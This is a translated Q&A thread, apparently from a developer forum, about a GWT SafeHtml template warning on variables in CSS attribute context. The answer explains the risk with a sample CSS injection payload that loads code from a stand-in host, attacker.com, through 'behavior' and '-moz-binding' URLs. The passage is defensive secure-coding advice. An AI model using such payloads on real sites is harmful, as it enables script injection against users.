我使用混淆的风格,例如.
这是不好的做法吗？
当我查看HTML时看起来没问题,或者我误解了警告..
我在GWT的开发模式中收到以下警告：
Template with variable in CSS attribute context:
The template code generator cannot guarantee HTML-safety of the template
-- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context
最佳答案
class不是“CSS属性上下文”,只有style是(和< style>);所以我怀疑这个警告来自你展示的代码(这正是事情的用法,所以根本不是一个糟糕的做法).
当你有style =’width：{foo}; height：{bar}’,因为没有保证(在编译时)foo或bar不会包含100％的内容;行为：网址(http://attacker.com/injection.htc); -moz-binding：url(http://attacker.com/injection.xbl).在这种情况下,您应该使用style ='{myStyle}’,其中myStyle是SafeStyles的一个实例.
